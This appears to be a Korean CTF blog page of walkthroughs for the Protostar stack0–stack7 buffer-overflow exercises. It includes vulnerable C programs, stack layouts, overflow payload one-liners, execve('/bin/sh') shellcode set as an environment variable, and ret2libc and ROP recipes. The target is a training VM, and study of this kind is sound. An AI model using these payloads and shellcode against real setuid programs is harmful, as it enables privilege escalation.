no image
protostar stack7
old.liveoverflow.com/binary_hacking/protostar/stack7.html Stack 7 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_retur..
2020.10.29
no image
protostar stack6
old.liveoverflow.com/binary_hacking/protostar/stack6.html Stack 6 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return..
2020.10.29
no image
protostar stack5
old.liveoverflow.com/binary_hacking/protostar/stack5.html Stack 5 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } stack5의 소스코드이다. stack4와 비슷하지만, 다른 점이 있다면 특정 함수로 이동시키는 것이 아니라 return ..
2020.10.29
no image
protostar stack4
old.liveoverflow.com/binary_hacking/protostar/stack4.html Stack 4 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } stack4의 소..
2020.10.29
no image
protostar stack3
old.liveoverflow.com/binary_hacking/protostar/stack3.html Stack 3 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp ..
2020.10.29
no image
protostar stack2
문제를 실행하면 environment variable GREENIE를 설정해달라고 한다. 환경변수로 GREENIE를 생성하고 임의의 값을 대입한 후 실행하면 다시 시도하라고 뜬다. old.liveoverflow.com/binary_hacking/protostar/stack2.html Stack 2 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include int main(int argc, char **argv) { ..
2020.10.29
no image
protostar stack1
old.liveoverflow.com/binary_hacking/protostar/stack1.html Stack 1 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } mo..
2020.10.29
no image
protostar stack0
old.liveoverflow.com/binary_hacking/protostar/stack0.html Stack 0 - LiveOverflow Bruteforcing stack canary, stack guard, stack cookie with a C program. old.liveoverflow.com #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try a..
2020.10.29

protostar stack7

assb
|2020. 10. 29. 19:56

old.liveoverflow.com/binary_hacking/protostar/stack7.html

 

Stack 7 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)
", ret);
      _exit(1);
  }

  printf("got path %s
", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

 이 문제는 stack6 문제와 유사하다. 소스코드를 살펴보면 main에서 getpath 함수를 호출한다. getpath 함수에서는 buffer 변수를 오버플로우 시켜야 하는데, 이때 주의해야 할 점은 ret 값이다. __builtin_return_address(0)을 사용하면 현재 함수의 리턴 주소를 가져올 수 있다. ret & 0xb0000000이 0xb0000000일 경우 함수가 종료되는데, 이는 리턴주소가 b로 시작하지 않음을 의미한다. 

 

 stack6에서 사용한 ret2libc는 system 함수가 b로 시작한다. 따라서 ret2libc 대신 다른 방법을 사용해야 한다. 이번 경우에는 ROP를 사용했다. 

 

 objdump을 사용해서 gadget에서 ret를 찾아줬다. 

 

 stack7의 스택 구조는 stack6과 동일하다. 

 

 쉘 코드를 환경변수로 설정하고, 해당 환경변수의 주소를 구한다. 

 

 위에서 얻은 두 주소를 기억해서 80byte dummy + ret + env address를 입력하면 문제를 해결할 수 있다.

(python -c 'print "A"*80+ret+"\x90"*4+env address';cat)|./stack6

 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack4  (0) 2020.10.29

protostar stack6

assb
|2020. 10. 29. 19:55

old.liveoverflow.com/binary_hacking/protostar/stack6.html

 

Stack 6 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

 소스코드를 살펴보면 main에서 getpath 함수를 호출한다. getpath 함수에서는 buffer 변수를 오버플로우 시켜야 하는데, 이때 주의해야 할 점은 ret 값이다. __builtin_return_address(0)을 사용하면 현재 함수의 리턴 주소를 가져올 수 있다. ret & 0xbf000000이 0xbf000000일 경우 함수가 종료되는데, 이는 리턴주소가 bf로 시작하지 않음을 의미한다. 

 

 하지만 여태까지 하던 방법대로 진행하면 환경변수의 주소가 bf로 시작하기 때문에 이 방법으로는 문제를 해결할 수 없다.

 

 0x0F - Doing ret2libc with a Buffer Overflow because of restricted return pointer

 

 따라서 문제에서 힌트를 주는데, ret2libc를 사용해야 한다. ret2libc란 libc, 즉 메모리에 존재하는 라이브러리를 이용해서 바이너리에 없는 함수를 사용할 수 있는 방법이다. 

 

 

 gdb로 프로그램을 분석해서 스택 구조를 그려봤다. return address는 buffer 64byte, dummy 12byte, sfp 4byte, 총 80 byte 이후에 존재한다. 

 

 ret2libc를 사용하기 위해 system의 주소를 확인해보았다. bp를 걸어 프로그램을 실행시킨 후, print system이라고 입력하면 얻을 수 있다. 

 

#include <stdio.h>

int main(){
        long shell = ; //system function address
        while(memcmp((void*)shell, "/bin/sh", 8))
                shell++;
        printf("%x\n", shell);
}

 "/bin/sh"의 주소를 얻기 위해서는 위의 코드를 사용하면 된다. long shell에는 print system을 통해 얻은 주소를 넣어준다. 

 

 위에서 얻은 두 주소를 기억해서 80byte dummy + system() address + 4byte dummy + "/bin/sh" address를 입력하면 문제를 해결할 수 있다. 

(python -c 'print "\x90"*80+system() address+"\x90"*4+"/bin/sh" address';cat)|./stack6

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29

protostar stack5

assb
|2020. 10. 29. 19:54

old.liveoverflow.com/binary_hacking/protostar/stack5.html

 

Stack 5 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 stack5의 소스코드이다. stack4와 비슷하지만, 다른 점이 있다면 특정 함수로 이동시키는 것이 아니라 return address를 변조해 쉘을 실행시켜야 한다. 

 

 

 gdb로 프로그램을 분석한 후 stack 구조를 그렸다. buffer 64byte와 dummp, ebp, return address가 존재한다. 스택의 구조는 stack4와 동일하다.

 

2020/10/29 - [CTF/시스템] - protostar stack4

 

protostar stack4

old.liveoverflow.com/binary_hacking/protostar/stack4.html Stack 4 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binari..

assb.tistory.com

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%x\n", getenv("GS"));
	return 0;
}

 문제를 해결하기에 앞서서 쉘 코드를 작성해야 한다. 환경변수로 쉘 코드를 설정한 후, 해당 환경 변수의 주소를 획득하는 프로그램을 작성해 쉘 코드의 주소를 획득했다. 

 

 위에서 구한 stack 구조를 참고하여 return address에 쉘 코드의 주소를 입력하면 쉘을 실행할 수 있다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29

protostar stack4

assb
|2020. 10. 29. 19:53

old.liveoverflow.com/binary_hacking/protostar/stack4.html

 

Stack 4 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 stack4의 소스코드이다. buffer 값을 입력받는데, 다른 변수는 존재하지 않는다. 따라서 return address를 변조시켜서 win 함수를 실행해야 한다. 

 

 

 gdb로 프로그램을 분석하여 이를 기반으로 stack 구조를 그려보았다. 64byte의 buffer과 8byte의 dummy, ebp, 그리고 그 아래에 return address가 존재한다. 따라서 buffer을 overflow 시켜서 return address를 변조해야 한다. 

 

2020/10/29 - [CTF/시스템] - protostar stack0

 

protostar stack0

old.liveoverflow.com/binary_hacking/protostar/stack0.html Stack 0 - LiveOverflow Bruteforcing stack canary, stack guard, stack cookie with a C program. old.liveoverflow.com #include #include #includ..

assb.tistory.com

 

 dummy는 <main+3>에서 esp에 and 연산을 하면서 생긴다. 

 

 따라서 64byte+8byte(dummy)+4byte(ebp)+4byte(return address) 형식으로 채워주면 된다. 이때 return address는 win의 주소를 넣어준다. 

 

 win 함수의 주소를 기억한다. 

 

 임의의 76byte(buffer+dummy+ebp)와 win 주소를 입력하면 문제를 해결할 수 있다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29
protostar stack1  (0) 2020.10.29

protostar stack3

assb
|2020. 10. 29. 19:52

old.liveoverflow.com/binary_hacking/protostar/stack3.html

 

Stack 3 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

 소스코드는 위의 사이트에서 얻을 수 있다. buffer을 입력받으며 fp 변수를 위조해 win 함수를 호출해야 한다. 

 

 

 프로그램을 gdb로 실행하여 stack 구조를 그려보았다. 

 

 buffer과 fp 사이의 간격을 확인했으니 다음은 win 함수의 시작 주소를 확인했다. 

 

 임의의 64바이트와 win 함수의 주소인 "\x08048424"를 입력하면 win 함수가 호출되며 문제가 해결된다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack5  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack2  (0) 2020.10.29
protostar stack1  (0) 2020.10.29
protostar stack0  (0) 2020.10.29

protostar stack2

assb
|2020. 10. 29. 19:46

 문제를 실행하면 environment variable GREENIE를 설정해달라고 한다. 

 

 환경변수로 GREENIE를 생성하고 임의의 값을 대입한 후 실행하면 다시 시도하라고 뜬다.  

 

old.liveoverflow.com/binary_hacking/protostar/stack2.html

 

Stack 2 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

 위의 사이트에 들어가면 소스코드를 얻을 수 있다. 

 

 gdb로 프로그램을 실행한 후 stack 구조를 그려보았다.

 

 

 위에서 그린 스택 구조를 살펴보면 buffer 64byte 아래에 바로 modified가 존재한다. 따라서 64바이트 이상의 값을 대입하면 modified의 값을 변경할 수 있다. 문제를 해결하기 위해 환경변수를 임의의 64바이트와 "\x0d0a0d0a"로 설정해주면 문제가 해결된다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack1  (0) 2020.10.29
protostar stack0  (0) 2020.10.29
해커스쿨 FTZ level18  (0) 2020.10.29

protostar stack1

assb
|2020. 10. 29. 19:19

old.liveoverflow.com/binary_hacking/protostar/stack1.html

 

Stack 1 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

 문제의 소스코드이다. stack0과 비슷하지만 1. buffer의 값은 argv[1], 2. modified의 값은 0x61626364가 되어야한다는 점이 다르다. 

 

 gdb로 프로그램을 살펴보았다. 이를 기반으로 스택을 그렸다. 

 

 stack0과 스택의 구조는 동일했다. 따라서 임의의 64byte+"0x61626364"를 argv[1]로 넘겨주면 문제를 해결할 수 있다.

 

 ./stack1 `python -c 'print "\x90"*64+"\x64\x6 3\x62\x61"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29
protostar stack0  (0) 2020.10.29
해커스쿨 FTZ level18  (0) 2020.10.29
해커스쿨 FTZ level17  (0) 2020.09.29

protostar stack0

assb
|2020. 10. 29. 19:18

old.liveoverflow.com/binary_hacking/protostar/stack0.html

 

Stack 0 - LiveOverflow

Bruteforcing stack canary, stack guard, stack cookie with a C program.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

 먼저 소스 코드를 확인해보면 4byte modified 변수와 64byte 버퍼가 존재한다. 또한 buffer을 입력받고, modified의 값이 0이 아니면 (값이 변조되면) 값이 변경되었다고 출력된다. 

 

 위의 이미지는 gdb로 살펴본 코드이다. 이 코드에 따라 스택을 정리하면 아래의 이미지와 같다. 

 

 ~ebp, esp 정리~

 <main+1>: ebp를 esp로 옮긴다. (ebp=esp)
 <main+3>: esp에 0xfffffff0을 and 연산한다. 이 연산을 진행하면 esp=ebp+8이 된다. 따라서 ebp와 esp 사이에 8byte의 간격이 생긴다. 
 <main+6>: esp에서 0x60을 빼준다. 이 공간은 main 함수에서 사용하게 된다. 

 

 

 

 buffer과 modified 사이에는 0x44-0x4=0x40(10진수로 64)byte가 존재한다. 따라서 65byte 이상을 입력하게 되면 modified 값이 변경되어 문제를 해결할 수 있다.

 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack2  (0) 2020.10.29
protostar stack1  (0) 2020.10.29
해커스쿨 FTZ level18  (0) 2020.10.29
해커스쿨 FTZ level17  (0) 2020.09.29
해커스쿨 FTZ level16  (0) 2020.09.24